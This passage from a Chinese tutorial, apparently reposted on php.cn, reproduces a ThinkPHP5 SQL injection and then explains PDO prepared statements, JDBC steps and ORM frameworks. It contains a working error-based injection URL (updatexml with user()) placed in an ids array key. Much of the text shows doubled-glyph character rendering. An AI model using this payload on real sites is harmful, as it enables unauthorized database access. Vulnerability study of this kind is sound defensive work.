這時(shí),假設(shè)在第一步執(zhí)行prepare($SQL)的時(shí)候我的SQL語(yǔ)句就出現(xiàn)錯(cuò)誤了,那么就會(huì)直接由mysql那邊拋出異常,不會(huì)再執(zhí)行第二步。我們看看ThinkPHP5的默認(rèn)配置:

...
// PDO連接參數(shù)
protected $params = [
    PDO::ATTR_CASE              => PDO::CASE_NATURAL,
    PDO::ATTR_ERRMODE           => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_ORACLE_NULLS      => PDO::NULL_NATURAL,
    PDO::ATTR_STRINGIFY_FETCHES => false,
    PDO::ATTR_EMULATE_PREPARES  => false,
];
...
登錄后復(fù)制

可見(jiàn),這里的確設(shè)置了PDO::ATTR_EMULATE_PREPARES => false。所以,終上所述,我構(gòu)造如下POC,即可利用報(bào)錯(cuò)注入,獲取user()信息:

http://localhost/thinkphp5/public/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1231

16.png

但是,如果你將user()改成一個(gè)子查詢(xún)語(yǔ)句,那么結(jié)果又會(huì)爆出Invalid parameter number: parameter was not defined的錯(cuò)誤。因?yàn)闆](méi)有過(guò)多研究,說(shuō)一下我猜測(cè):預(yù)編譯的確是mysql服務(wù)端進(jìn)行的,但是預(yù)編譯的過(guò)程是不接觸數(shù)據(jù)的 ,也就是說(shuō)不會(huì)從表中將真實(shí)數(shù)據(jù)取出來(lái),所以使用子查詢(xún)的情況下不會(huì)觸發(fā)報(bào)錯(cuò);雖然預(yù)編譯的過(guò)程不接觸數(shù)據(jù),但類(lèi)似user()這樣的數(shù)據(jù)庫(kù)函數(shù)的值還是將會(huì)編譯進(jìn)SQL語(yǔ)句,所以這里執(zhí)行并爆了出來(lái)。

個(gè)人總結(jié)

其實(shí)ThinkPH框架漏洞大多用到的都是設(shè)置對(duì)于控制器名的一個(gè)疏忽問(wèn)題,不理解的小伙伴可以查來(lái)url調(diào)用文件的機(jī)制來(lái)學(xué)習(xí)一下,其實(shí)這些框架漏洞都是基于基礎(chǔ)漏洞的一些拓展,至于sql漏洞,了解一下pdo預(yù)編譯原理即可。

不管java或是php在進(jìn)行數(shù)據(jù)庫(kù)查詢(xún)的時(shí)候都應(yīng)該進(jìn)行pdo預(yù)編譯,我們都知道,在jdbc工作的時(shí)候分成好多步

1.建立連接

2.寫(xiě)入sql語(yǔ)句

3.預(yù)編譯sql語(yǔ)句

4.設(shè)置參數(shù)

5.執(zhí)行sql獲取結(jié)果

6.遍歷結(jié)果(處理結(jié)果)

7.關(guān)閉連接

對(duì)于程序員來(lái)說(shuō),jdbc操作總是很麻煩,所以利用預(yù)編譯就是將mysql查詢(xún)語(yǔ)句進(jìn)行封裝,之后在進(jìn)行查詢(xún)的時(shí)候直接輸入?yún)?shù)即可,這樣即簡(jiǎn)化了操作也極大程度加強(qiáng)了安全屬性,而以此類(lèi)推,這樣來(lái)說(shuō)我們是否可以將其他步驟也進(jìn)行封裝呢,也就是建立連接,寫(xiě)入sql語(yǔ)句等,只留下寫(xiě)入sql語(yǔ)句與遍歷結(jié)果來(lái)進(jìn)行操作,這樣就更加簡(jiǎn)化了操作。

于是就誕生出了Mybatis半自動(dòng)框架與Hibernate全自動(dòng)框架,直接將jdbc的操作進(jìn)行封裝,但是由于全自動(dòng)框架可操作性過(guò)于狹窄,所以現(xiàn)在市面上更多的還是Mybatis框架進(jìn)行連接服務(wù)端與數(shù)據(jù)庫(kù),但是一般政府或國(guó)企的項(xiàng)目還是偏向于Hibernate框架,這些知識(shí)都是涉及一些編程知識(shí),大家可以自己去了解一下。

推薦學(xué)習(xí):《PHP視頻教程

以上就是滲透測(cè)試之路:ThinkPHP漏洞復(fù)現(xiàn)的詳細(xì)內(nèi)容,更多請(qǐng)關(guān)注php中文網(wǎng)其它相關(guān)文章!

PHP速學(xué)教程(入門(mén)到精通)
PHP速學(xué)教程(入門(mén)到精通)

PHP怎么學(xué)習(xí)?PHP怎么入門(mén)?PHP在哪學(xué)?PHP怎么學(xué)才快?不用擔(dān)心,這里為大家提供了PHP速學(xué)教程(入門(mén)到精通),有需要的小伙伴保存下載就能學(xué)習(xí)啦!

下載
相關(guān)標(biāo)簽:
來(lái)源:freebuf網(wǎng)
本文內(nèi)容由網(wǎng)友自發(fā)貢獻(xiàn),版權(quán)歸原作者所有,本站不承擔(dān)相應(yīng)法律責(zé)任。如您發(fā)現(xiàn)有涉嫌抄襲侵權(quán)的內(nèi)容,請(qǐng)聯(lián)系admin@php.cn
最新問(wèn)題
開(kāi)源免費(fèi)商場(chǎng)系統(tǒng)廣告
最新下載
更多>
網(wǎng)站特效
網(wǎng)站源碼
網(wǎng)站素材
前端模板
關(guān)于我們 免責(zé)申明 意見(jiàn)反饋 講師合作 廣告合作 最新更新
php中文網(wǎng):公益在線php培訓(xùn),幫助PHP學(xué)習(xí)者快速成長(zhǎng)!
關(guān)注服務(wù)號(hào) 技術(shù)交流群
PHP中文網(wǎng)訂閱號(hào)
每天精選資源文章推送
PHP中文網(wǎng)APP
隨時(shí)隨地碎片化學(xué)習(xí)
PHP中文網(wǎng)抖音號(hào)
發(fā)現(xiàn)有趣的

Copyright 2014-2025 http://m.miracleart.cn/ All Rights Reserved | php.cn | 湘ICP備2023035733號(hào)